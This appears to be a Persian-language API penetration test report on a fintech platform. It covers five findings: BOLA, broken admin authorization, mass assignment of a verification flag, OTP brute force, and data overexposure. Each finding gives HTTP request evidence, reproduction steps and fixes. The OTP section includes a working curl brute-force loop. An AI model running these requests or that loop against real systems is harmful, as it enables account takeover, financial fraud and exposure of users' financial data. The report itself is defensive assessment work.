گزارش فنی ارزیابی پیشرفتهٔ امنیت API

شرح

endpoint تاریخچهٔ تراکنش، شناسهٔ کیف پول (walletId) را از مسیر URL می‌پذیرد ولی مالکیت آن منبع را در سمت سرور بررسی نمی‌کند. سرور تنها اعتبار توکن JWT را راستی‌آزمایی می‌کند — نه اینکه آیا کیف پول درخواست‌شده متعلق به دارندهٔ توکن است یا نه. این الگوی «احراز هویت بدون مجوزدهی» رایج‌ترین علت BOLA است. شناسهٔ walletId یک UUID است، اما غیرقابل‌حدس‌بودن آن مشکل را رفع نمی‌کند: در یک پلتفرم تراکنشی، هر بار که کاربر هدف به مهاجم پرداختی انجام دهد، walletId هدف در تاریخچهٔ تراکنش‌های خود مهاجم ظاهر می‌شود — کشف شناسه بدون هیچ ابزاری.

شواهد

# گام ۱ — استخراج walletId کاربر هدف از تاریخچهٔ تراکنش‌های خود مهاجم
GET /wallets/fin-ATK-0001/transactions HTTP/1.1
Host: api.finopay.example
Authorization: Bearer <attacker_token>

HTTP/1.1 200 OK
{
  "data": [
    {
      "id": "txn-8821",
      "fromWalletId": "fin-9a2d-REDACTED",   ← walletId کاربر هدف
      "amount": 500000,
      "description": "بازپرداخت"
    }
  ]
}

# گام ۲ — دسترسی به تاریخچهٔ مالی کامل کاربر هدف با همان توکن مهاجم
GET /wallets/fin-9a2d-REDACTED/transactions?page=1&limit=50 HTTP/1.1
Authorization: Bearer <attacker_token>

HTTP/1.1 200 OK
{
  "data": [
    { "amount": 15000000, "toIBAN": "IR93-0xxx-REDACTED", "description": "اجارهٔ ماهانه" },
    { "amount": 3200000,  "toIBAN": "IR12-0xxx-REDACTED", "description": "قسط وام" }
    ...
  ]
}

گام‌های بازتولید

1. با یک حساب عادی ثبت‌نام کنید و جریان عادی پلتفرم را آغاز کنید.
2. مطمئن شوید کاربر هدف حداقل یک پرداخت به حساب مهاجم داشته است.
3. GET /wallets/{ownWalletId}/transactions را فراخوانی و فیلد fromWalletId تراکنش دریافتی را استخراج کنید.
4. همان walletId را در مسیر جایگزین کنید: GET /wallets/{targetWalletId}/transactions.
5. پاسخ 200 OK حاوی تمام تاریخچهٔ مالی کاربر هدف — شامل مبالغ، IBAN مقصد و توضیحات — را مشاهده کنید.

اثر

افشای کامل تاریخچهٔ مالی تمام کاربران — مبالغ دقیق تراکنش، IBAN مقصد، ذینفعان و توضیحات شخصی. این داده‌ها نه‌تنها حریم مالی کاربران را نقض می‌کنند، بلکه در ترکیب با F-002 و F-003، اطلاعات لازم برای یک حملهٔ کلاهبرداری زنجیره‌ای را فراهم می‌کنند.

راهکار

• اعمال کنترل مالکیت منبع در لایهٔ middleware: پیش از پاسخ به هر درخواست، تطبیق walletId با userId احراز‌هویت‌شده از روی توکن JWT الزامی است.
• حذف پذیرش walletId از مسیر درخواست برای عملیات تاریخچه — walletId را از context کاربر جاری بخوانید، نه از URL.
• غیرفعال‌سازی pagination با limit بالا بدون کنترل ownership — حتی پس از اصلاح BOLA، حجم داده‌های قابل‌دریافت باید محدود باشد.
• افزودن آزمون رگرسیون BOLA به pipeline CI: برای هر endpoint با شناسهٔ منبع در مسیر، تست cross-user access الزامی است.

شرح

سه endpoint مدیریتی در مسیر /admin/* بدون هیچ کنترل نقشی (RBAC) در دسترس هر کاربر احراز‌هویت‌شده قرار دارند. سرور توکن JWT را اعتبارسنجی می‌کند ولی claim role را در هیچ نقطه‌ای بررسی نمی‌کند. این وضعیت — مجوزدهی فقط در لایهٔ UI و نه در لایهٔ API — الگوی رایج BFLA است. هر سه operation با توکن یک کاربر عادی پاسخ HTTP 200 دادند. قابل‌توجه است که PUT /admin/limits/{userId} نه‌تنها اطلاعات می‌دهد بلکه وضعیت مالی حساب‌ها را تغییر می‌دهد — یعنی مهاجم می‌تواند محدودیت تراکنش روزانهٔ خود را از ۵ میلیون به هر مقداری افزایش دهد.

شواهد

# operation 1 — دریافت اطلاعات کامل کاربران پلتفرم
GET /admin/users?page=1 HTTP/1.1
Authorization: Bearer <regular_user_token>

HTTP/1.1 200 OK
{ "total": 4821, "data": [{ "id": "u-001", "phone": "09xxx", "email": "..." }, ...] }

# operation 2 — مشاهدهٔ تمام تراکنش‌های پلتفرم
GET /admin/transactions?page=1 HTTP/1.1
Authorization: Bearer <regular_user_token>

HTTP/1.1 200 OK
{ "total": 91042, "data": [{ "amount": 25000000, "from": "...", "to": "..." }, ...] }

# operation 3 — افزایش محدودیت تراکنش روزانهٔ حساب مهاجم
PUT /admin/limits/u-ATK-001 HTTP/1.1
Authorization: Bearer <regular_user_token>
Content-Type: application/json

{ "daily_limit": 500000000 }

HTTP/1.1 200 OK
{ "userId": "u-ATK-001", "daily_limit": 500000000 }

گام‌های بازتولید

1. با یک حساب کاربری عادی وارد شوید و توکن JWT دریافت کنید.
2. GET /admin/users?page=1 را با این توکن فراخوانی کنید — پاسخ 200 با اطلاعات کامل کاربران.
3. GET /admin/transactions?page=1 را فراخوانی کنید — تمام تراکنش‌های پلتفرم قابل مشاهده‌اند.
4. PUT /admin/limits/{own_userId} را با payload { "daily_limit": 500000000 } فراخوانی کنید.
5. تأیید کنید محدودیت تغییر کرده است — اکنون تراکنش‌های بالاتر از سقف قبلی مجاز هستند.

اثر

دسترسی کامل به داده‌های تمام کاربران پلتفرم (PII + اطلاعات مالی) و توانایی دستکاری محدودیت‌های مالی. ترکیب این یافته با F-001 یک مسیر حملهٔ کامل کلاهبرداری مالی ایجاد می‌کند: کشف اهداف، جمع‌آوری اطلاعات آن‌ها، حذف محدودیت‌های امنیتی، و در نهایت اجرای تراکنش غیرمجاز.

راهکار

• پیاده‌سازی middleware احراز نقش (RBAC) به‌عنوان لایهٔ مرکزی: هر درخواست به /admin/* باید claim role=admin در توکن JWT داشته باشد؛ در غیر این صورت، HTTP 403 برگردانده شود.
• جداسازی endpoint های مدیریتی در یک سرویس داخلی با شبکه و احراز هویت مجزا از API عمومی — کاربران عادی نباید هیچ مسیر شبکه‌ای به این سرویس داشته باشند.
• اعمال سیاست «انکار پیش‌فرض» (deny by default) در router: هر endpoint مدیریتی باید صریحاً نقش مجاز را اعلام کند.
• افزودن آزمون خودکار BFLA به pipeline CI: برای هر endpoint مدیریتی، دسترسی با توکن کاربر عادی باید 403 برگرداند.

شرح

سرویس به‌روزرسانی ذینفع، بدنهٔ JSON درخواست را بدون allow-list مستقیماً به مدل داخلی نگاشت می‌کند. فیلد داخلی verified یک علامت ماشین وضعیت (state machine flag) است که نشان می‌دهد فرآیند تأیید ۲۴ساعتهٔ بانکی تکمیل شده است. این بازهٔ انتظار یک کنترل امنیتی طراحی‌شده برای پیشگیری از تراکنش‌های کلاهبرداری در همان نشست است. با تزریق "verified": true در بدنهٔ درخواست PUT، مهاجم این کنترل را کاملاً دور می‌زند و بلافاصله می‌تواند به آن ذینفع واریز کند — بدون هیچ انتظاری.

شواهد

# گام ۱ — ثبت یک ذینفع جدید با IBAN دلخواه
POST /beneficiaries HTTP/1.1
Content-Type: application/json
Authorization: Bearer <attacker_token>

{ "title": "حساب تست", "iban": "IR930000000000000000000000" }

HTTP/1.1 201 Created
{ "id": "b-4f21-xxxx", "verified": false, "verifiedAt": null }
  ← وضعیت اولیه: تأیید‌نشده

# گام ۲ — تزریق verified: true برای دور زدن بازهٔ انتظار ۲۴ ساعته
PUT /beneficiaries/b-4f21-REDACTED HTTP/1.1
Content-Type: application/json

{ "title": "حساب تست", "verified": true }

HTTP/1.1 200 OK
{ "id": "b-4f21-xxxx", "verified": true, "verifiedAt": "2025-03-15T09:22:11Z" }
  ← تأیید فوری بدون انتظار

# گام ۳ — واریز فوری بدون انتظار ۲۴ ساعته
POST /transfers/iban HTTP/1.1
{ "beneficiaryId": "b-4f21-xxxx", "amount": 5000000 }

HTTP/1.1 200 OK  ← تراکنش موفق، بدون خطا

گام‌های بازتولید

1. یک ذینفع جدید با IBAN دلخواه اضافه کنید — پاسخ حاوی "verified": false است.
2. یک درخواست PUT با payload { "verified": true } به همان ذینفع ارسال کنید.
3. تأیید کنید پاسخ وضعیت را به verified: true و verifiedAt: [زمان جاری] تغییر داده است.
4. بلافاصله یک انتقال وجه به آن ذینفع آغاز کنید و تأیید کنید که بدون انتظار ۲۴ ساعته موفق می‌شود.

اثر

دور زدن کنترل امنیتی تأیید ذینفع که تنها خط دفاعی در برابر تراکنش‌های فوری کلاهبرداری است. در ترکیب با F-001 (کشف اهداف) و F-002 (حذف محدودیت مبلغ)، مهاجم می‌تواند در یک نشست واحد یک حملهٔ مالی کامل را اجرا کند.

راهکار

• تعریف صریح allow-list برای فیلدهای قابل‌ویرایش توسط کاربر — تنها title، description و موارد مشابه مجاز هستند.
• حذف کامل فیلدهای وضعیت داخلی (verified، verifiedAt، createdBy، status) از هر response API عمومی — این فیلدها نه خوانده شوند و نه نوشته.
• انتقال فرآیند تأیید ذینفع به یک سرویس داخلی مجزا که از طریق job scheduler اجرا شود — API عمومی هیچ اختیاری در تغییر وضعیت تأیید ندارد.
• اعتبارسنجی input schema با Zod یا معادل — هر فیلد ناشناخته یا غیرمجاز در بدنهٔ درخواست باید رد و خطای 400 برگرداند.

شرح

سرویس تأیید رمز یکبار مصرف (OTP) هیچ محدودیتی بر تعداد تلاش‌های مجاز اعمال نمی‌کند. پس از هر تلاش ناموفق، نه OTP باطل می‌شود، نه حساب قفل می‌شود و نه هیچ تأخیری اعمال می‌گردد. فضای کلید OTP ۶رقمی ۱٬۰۰۰٬۰۰۰ حالت است. با فرض ارسال ۱۰۰ درخواست در ثانیه — قابل‌دستیابی با یک اسکریپت ساده — کل فضا در کمتر از ۲ ساعت و ۴۷ دقیقه جستجو می‌شود. در عمل، OTP در میانهٔ بازهٔ صحیح توزیع می‌شود و میانگین زمان موفقیت به نصف این مقدار کاهش می‌یابد.

شواهد

# ارسال ۵۰ تلاش متوالی — بدون قفل، بدون تأخیر، بدون CAPTCHA
for i in $(seq 100000 100050); do
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST https://api.finopay.example/auth/otp/verify \
    -H "Content-Type: application/json" \
    -d "{"phone": "+98912XXXXXXX", "otp": "$i"}")
  echo "OTP $i → HTTP $STATUS"
done

# خروجی: هیچ تلاشی با 429 یا 423 رد نشد
# OTP 100000 → HTTP 200 ({"success": false})
# OTP 100001 → HTTP 200 ({"success": false})
# ...
# OTP 100050 → HTTP 200 ({"success": false})
# سرور تمام ۵۰ تلاش را بدون هیچ محدودیتی پذیرفت

گام‌های بازتولید

1. جریان ورود را برای یک شمارهٔ تلفن هدف آغاز کنید (POST /auth/otp/request).
2. یک حلقهٔ خودکار ارسال OTP ۶رقمی از ۰۰۰۰۰۰ تا ۹۹۹۹۹۹ ایجاد کنید.
3. ۵۰ تلاش اول را ارسال کنید و تأیید کنید هیچ پاسخ 429 (Too Many Requests) یا 423 (Locked) دریافت نمی‌شود.
4. حملهٔ کامل را ادامه دهید تا OTP صحیح یافت شود و دسترسی به حساب کاربر هدف حاصل گردد.

اثر

دور زدن احراز هویت OTP و تصاحب حساب بدون دانستن گذرواژه. در زمینهٔ فین‌تک، تصاحب حساب به دسترسی مستقیم و کامل به کیف پول، امکان آغاز تراکنش و مشاهدهٔ تمام اطلاعات مالی کاربر هدف منجر می‌شود.

راهکار

• اعمال محدودیت تعداد تلاش: حداکثر ۵ تلاش ناموفق مجاز است؛ پس از آن، OTP باطل می‌شود و کاربر باید مجدداً درخواست OTP جدید دهد.
• قفل موقت ۱۵دقیقه‌ای: پس از اتمام تلاش‌های مجاز، شمارهٔ موبایل برای ۱۵ دقیقه قفل شود — نه IP، چون IP قابل چرخش است.
• کوتاه‌کردن عمر OTP: هر OTP پس از ۱۲۰ ثانیه منقضی شود، حتی اگر هنوز تلاشی انجام نشده باشد.
• rate-limiting مستقل بر اساس IP برای endpoint /auth/otp/verify: حداکثر ۱۰ درخواست در دقیقه از یک IP.

شرح

پاسخ endpoint های کارت، علاوه بر داده‌های ضروری برای نمایش در رابط کاربری، فیلدهای داخلی حساسی را هم بازمی‌گرداند که هیچ کاربردی در سمت کلاینت ندارند. فیلترکردن داده به لایهٔ UI واگذار شده — یعنی فیلدها در پاسخ API هستند اما در برنامه نمایش داده نمی‌شوند. دو فیلد مشکل‌ساز: gateway_token_id (شناسهٔ توکن در سیستم پردازندهٔ پرداخت شاپرک) و processor (نام و نسخهٔ پردازنده). ترکیب این دو با ۴ رقم آخر PAN + بانک + تاریخ انقضا، شناسایی و همبسته‌سازی کارت در سیستم‌های خارجی را ممکن می‌کند.

شواهد

GET /cards HTTP/1.1
Host: api.finopay.example
Authorization: Bearer <user_token>

HTTP/1.1 200 OK
{
  "data": [
    {
      "id": "card-7f2a",
      "maskedPan": "6219-****-****-1234",
      "bank": "ملت",
      "expiry": "08/26",
      "gateway_token_id": "tok_shaparak_1a2b3c4d5e",   ← اطلاعات داخلی
      "processor": "shaparak-v2",                         ← اطلاعات داخلی
      "createdAt": "2025-01-10T08:30:00Z"
    }
  ]
}

گام‌های بازتولید

1. با یک حساب معتبر وارد شوید و GET /cards را فراخوانی کنید.
2. بدنهٔ پاسخ JSON خام را — نه آنچه در رابط کاربری نمایش داده می‌شود — بررسی کنید.
3. تأیید کنید که فیلدهای gateway_token_id و processor در پاسخ قابل مشاهده‌اند اما در UI نمایش داده نمی‌شوند.

اثر

نشت شناسهٔ توکن داخلی پردازندهٔ پرداخت و مشخصات پیاده‌سازی زیرساخت. ریسک مستقیم این یافته پایین است، ولی سطح اطلاعاتی را که مهاجم از زیرساخت پرداخت دارد افزایش می‌دهد و می‌تواند در طراحی حملات هدفمند علیه پردازندهٔ پرداخت مفید باشد.

راهکار

• تعریف صریح response schema (DTO) فقط با فیلدهای ضروری برای نمایش: maskedPan، bank، expiry، cardType.
• حذف gateway_token_id، processor و هر فیلد داخلی دیگر از هر پاسخ API عمومی.
• اعمال اصل کمینه‌سازی داده: هر فیلدی که در رابط کاربری نمایش داده نمی‌شود، نباید در پاسخ API باشد.